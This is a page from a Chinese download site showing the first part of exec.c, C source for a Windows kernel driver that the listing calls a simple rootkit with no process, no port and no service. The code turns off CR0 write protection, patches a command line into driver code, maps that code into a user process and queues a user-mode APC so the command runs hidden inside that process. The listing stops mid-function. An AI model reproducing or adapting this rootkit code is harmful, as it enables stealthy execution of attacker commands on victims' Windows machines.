⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 exec.c

📁 一个驱动上实现 无进程 无端口 无服务的简单rootkit
💻 C
📖 第 1 页 / 共 2 页
字号:
///
//	uty@uaty
///
#include <ntddk.h>

#ifdef DBG
#define u_DbgPrint(_x_)		\
			DbgPrint _x_;
#else
#define	u_DbgPrint(_x_) 
#endif

//--------------------------------------------------------------------
typedef enum _KAPC_ENVIRONMENT{
    OriginalApcEnvironment,
	AttachedApcEnvironment,
	CurrentApcEnvironment
}KAPC_ENVIRONMENT;

typedef struct _KAPC_STATE{
	LIST_ENTRY	ApcListHead[2];
	PEPROCESS	Process;
	UCHAR		KernelApcInProgress;
	UCHAR		KernelApcPending;
	UCHAR		UserApcPending;
}KAPC_STATE,*PKAPC_STATE;

//--------------------------------------------------------------------
NTSTATUS
uSetTheApc_Exec(
	ULONG			process,
	ULONG			threAd,
	ULONG			MAppedAddress,
	PKEVENT			pEvent,
	PCHAR			CmdLine
	);

VOID 
WorkThreAd_Exec(
	IN PVOID pContext
	);

VOID
KernelApcCAllBAck_Exec(
	PKAPC Apc,
	PKNORMAL_ROUTINE *NormalRoutine,
	PVOID *NormalContext,
	PVOID *SystemArgument1,
	PVOID *SystemArgument2
	);

VOID
OnUnloAd(
	IN PDRIVER_OBJECT DriverObject
	);

BOOLEAN
find_threAd_Exec(
	OUT	ULONG	*process,
	OUT	ULONG	*threAd
	);

UserExec(
	PCHAR	CmdLine,
	PVOID	unused1,
	PVOID	unused2
	);

UserExec_end(
	VOID
	);

BOOLEAN
CheckVersion_Exec(
	VOID
	);

/* Function prototypes for APCs */
VOID
KeInitializeApc(
	PKAPC Apc,
	PKTHREAD Thread,
	CCHAR ApcStateIndex,
	PKKERNEL_ROUTINE KernelRoutine,
	PKRUNDOWN_ROUTINE RundownRoutine,
	PKNORMAL_ROUTINE NormalRoutine,
	KPROCESSOR_MODE ApcMode,
	PVOID NormalContext
	);

BOOLEAN
KeInsertQueueApc(
	PKAPC Apc,
	PVOID SystemArgument1,
	PVOID SystemArgument2,
	UCHAR unknown
	);


/* Function prototypes for AttAch process */
NTKERNELAPI VOID 
KeStackAttachProcess(
		IN PEPROCESS Process,
		OUT PKAPC_STATE ApcState
		);

NTKERNELAPI VOID
KeUnstackDetachProcess(
	IN PKAPC_STATE ApcState
	);

//--------------------------------------------------------------------
//AlreAdy defined in wget.c
static ULONG		THREADLISTHEAD_OFFSET;
static ULONG		THREADLISTENTRY_OFFSET;
static ULONG		IMAGEFILENAME_OFFSET;
static ULONG		ACTIVEPROCESSLINKS_OFFSET;
static ULONG		USERAPCPENDING_OFFSET;
static ULONG		TCB_TEB_OFFSET;

BOOLEAN
KExec(
	PCHAR	CmdLine
	)
{
	HANDLE				hThreAd = NULL;
	NTSTATUS			dwStAtus;
	if(strlen(CmdLine) > 99){		//one byte for '\0'
		DbgPrint("CmdLine is too long,At most 100 bytes\n");
		return FALSE;
	}

	if(FALSE == CheckVersion_Exec()){
		DbgPrint("os version not supported\n");		
		return FALSE;
	}

	dwStAtus = PsCreateSystemThread(&hThreAd,
									(ACCESS_MASK)0,
									NULL,
									(HANDLE)0,
									NULL,
									WorkThreAd_Exec,
									CmdLine
									);
									
	if (!NT_SUCCESS(dwStAtus)){
		DbgPrint("error when creAte the threAd\n");
		return FALSE;
	}
	return TRUE;
}
//--------------------------------------------------------------------
BOOLEAN
CheckVersion_Exec(
	VOID
	)
{
	RTL_OSVERSIONINFOEXW	osversion = {0};
	osversion.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOEXW);
	
	RtlGetVersion((RTL_OSVERSIONINFOW*)&osversion);
	u_DbgPrint(("dwMAjorVersion: %d\n",osversion.dwMajorVersion));
	u_DbgPrint(("dwMinorVersion: %d\n",osversion.dwMinorVersion));
	u_DbgPrint(("dwBuildNumber: %d\n",osversion.dwBuildNumber));
	u_DbgPrint(("wServicePAckMAjor: %d\n",osversion.wServicePackMajor));
	u_DbgPrint(("wServicePAckMinor: %d\n",osversion.wServicePackMinor));

	if(		(osversion.dwMajorVersion == 5) 
		&&	(osversion.dwMinorVersion == 1)
		&&	(osversion.wServicePackMajor == 1) 
		//&&	(osversion.wServicePackMinor == 0)
		)
	{
		THREADLISTHEAD_OFFSET			= 0x190;
		THREADLISTENTRY_OFFSET			= 0x22c;//both ThreAdListEntry in ETHREAD KTHREAD works;
		IMAGEFILENAME_OFFSET			= 0x174;
		ACTIVEPROCESSLINKS_OFFSET		= 0x88;
		USERAPCPENDING_OFFSET			= 0x4A;
		TCB_TEB_OFFSET					= 0x20;
		return TRUE;
	}
	else if(		(osversion.dwMajorVersion == 5) 
		&&	(osversion.dwMinorVersion == 1)
		&&	(osversion.wServicePackMajor == 2) 
		//&&	(osversion.wServicePackMinor == 0)
		)
	{
		THREADLISTHEAD_OFFSET			= 0x190;
		THREADLISTENTRY_OFFSET			= 0x22c;//both ThreAdListEntry in ETHREAD KTHREAD works;
		IMAGEFILENAME_OFFSET			= 0x174;
		ACTIVEPROCESSLINKS_OFFSET		= 0x88;
		USERAPCPENDING_OFFSET			= 0x4A;
		TCB_TEB_OFFSET					= 0x20;
		return TRUE;
	}
	return FALSE;
}
//--------------------------------------------------------------------
//PMDL	pMdl = NULL;
VOID
WorkThreAd_Exec(
	IN PVOID pContext
	)
{
	ULONG			process,threAd;
	PKEVENT			pEvent = NULL;
	PMDL			pMdl = NULL;
	PVOID			MAppedAddress = NULL;
	ULONG			size;
	KAPC_STATE		ApcStAte;
	PCHAR			CmdLine;

	CmdLine = (PCHAR)pContext;
	if (!find_threAd_Exec(&process,&threAd)){
		DbgPrint("cAnnot find the right threAd\n");
		PsTerminateSystemThread(STATUS_SUCCESS);
	}
	pEvent = ExAllocatePool(NonPagedPool,sizeof(KEVENT));
	if(!pEvent){
		DbgPrint("ExAllocatePool(pEvent) fAiled\n");
		PsTerminateSystemThread(STATUS_SUCCESS);
	}

	_asm 
	{ 
		CLI //dissable interrupt 
		MOV EAX, CR0 //move CR0 register into EAX 
		AND EAX, NOT 10000H //disable WP bit 
		MOV CR0, EAX //write register back 
	}
	memcpy((UCHAR*)UserExec_end,CmdLine,strlen(CmdLine));
	memset((UCHAR*)((ULONG)UserExec_end+strlen(CmdLine)),0,1);
	_asm 
	{ 
		MOV EAX, CR0 //move CR0 register into EAX 
		OR EAX, 10000H //enable WP bit 
		MOV CR0, EAX //write register back 
		STI //enable interrupt 
	} 

	size = (UCHAR*)UserExec_end - (UCHAR*)UserExec + 100;//最多100个字节的
	u_DbgPrint(("size: %d\n",size));
	pMdl = IoAllocateMdl(
				UserExec,
				size,
				FALSE,
				FALSE,
				NULL
				);
	if(!pMdl){
		ExFreePool (pEvent); 
		DbgPrint("IoAllocateMdl fAiled\n");
		PsTerminateSystemThread(STATUS_SUCCESS);
	}
	__try{
		MmProbeAndLockPages(
			pMdl,
			KernelMode,
			IoWriteAccess
			);
	}
	__except(EXCEPTION_EXECUTE_HANDLER){
		IoFreeMdl(pMdl);
		ExFreePool(pEvent);
		DbgPrint("MmProbeAndLockPAges fAiled\n");
		PsTerminateSystemThread(STATUS_SUCCESS);
	}
	u_DbgPrint(("process 0x%x\n",process));
	KeStackAttachProcess((PEPROCESS)process,&ApcStAte);
	__try{
		MAppedAddress = MmMapLockedPagesSpecifyCache(
							pMdl,
							UserMode,
							MmCached,
							NULL,
							FALSE,
							NormalPagePriority
							);
	}
	__except(EXCEPTION_EXECUTE_HANDLER){
		MmUnlockPages(pMdl);
		IoFreeMdl(pMdl);
		ExFreePool(pEvent);
		DbgPrint("MmMApLockedPagesSpecifyCAche fAiled\n");
		PsTerminateSystemThread(STATUS_SUCCESS);
	}
	u_DbgPrint(("MAppedAddress: 0x%x\n",MAppedAddress));
	if (!MAppedAddress){
		KeUnstackDetachProcess(&ApcStAte);
		MmUnlockPages(pMdl);
		IoFreeMdl(pMdl);
		ExFreePool(pEvent);
		DbgPrint("MmMApLockedPAgesSpecifyCAche fAiled\n");
		PsTerminateSystemThread(STATUS_SUCCESS);
	}

	//reuse ,freed in APC->KernelRoutine
	CmdLine			= (PCHAR)((ULONG)MAppedAddress + (ULONG)((UCHAR*)UserExec_end - (UCHAR*)UserExec));
	
	KeUnstackDetachProcess(&ApcStAte);
	KeInitializeEvent(pEvent,NotificationEvent,FALSE);

	uSetTheApc_Exec(process,threAd,(ULONG)MAppedAddress,pEvent,CmdLine);

	KeWaitForSingleObject(
		pEvent,
		Executive,
		KernelMode,
		FALSE,
		NULL
		);
	u_DbgPrint(("ok free pEvent pMdl now\n"));
	ExFreePool(pEvent);
	MmUnlockPages(pMdl);
	IoFreeMdl(pMdl);
	

	PsTerminateSystemThread(STATUS_SUCCESS);
	DbgPrint("Never be here \n");
}
//--------------------------------------------------------------------
NTSTATUS
uSetTheApc_Exec(
	ULONG			process,
	ULONG			threAd,
	ULONG			MAppedAddress,
	PKEVENT			pEvent,
	PCHAR			CmdLine
	)
{
	NTSTATUS		dwStAtus = STATUS_SUCCESS;
	PKAPC			pkApc;
	BOOLEAN			bBool;


	*((unsigned char *)threAd + USERAPCPENDING_OFFSET)=1;   //////////////////////////////////////////////
	//*((unsigned char *)threAd+0x164)=1;  //both of them works :>
	pkApc = ExAllocatePool(NonPagedPool,sizeof(KAPC));
	if (pkApc == NULL){
		DbgPrint("error:ExAllocAtePool\n");
		return STATUS_INSUFFICIENT_RESOURCES;
	}
	KeInitializeApc(
		pkApc,
		(PKTHREAD)threAd,
		OriginalApcEnvironment,
		(PKKERNEL_ROUTINE)KernelApcCAllBAck_Exec,
		NULL,
		(PKNORMAL_ROUTINE)MAppedAddress,//UserApcCAllBAck,
		UserMode,
		(PVOID)CmdLine
		);
	bBool = KeInsertQueueApc(pkApc,pEvent,0,0);		//ticky
	if(bBool == FALSE){
		DbgPrint("error:KeInsertQueueApc\n");
	}

	return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
VOID
KernelApcCAllBAck_Exec(
	PKAPC Apc, 
	PKNORMAL_ROUTINE *NormAlRoutine,
	IN OUT PVOID *NormAlContext,
	IN OUT PVOID *SystemArgument1,
	IN OUT PVOID *SystemArgument2
	)
{
	PKEVENT			pEvent;
	//PCHAR			CmdLine;

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -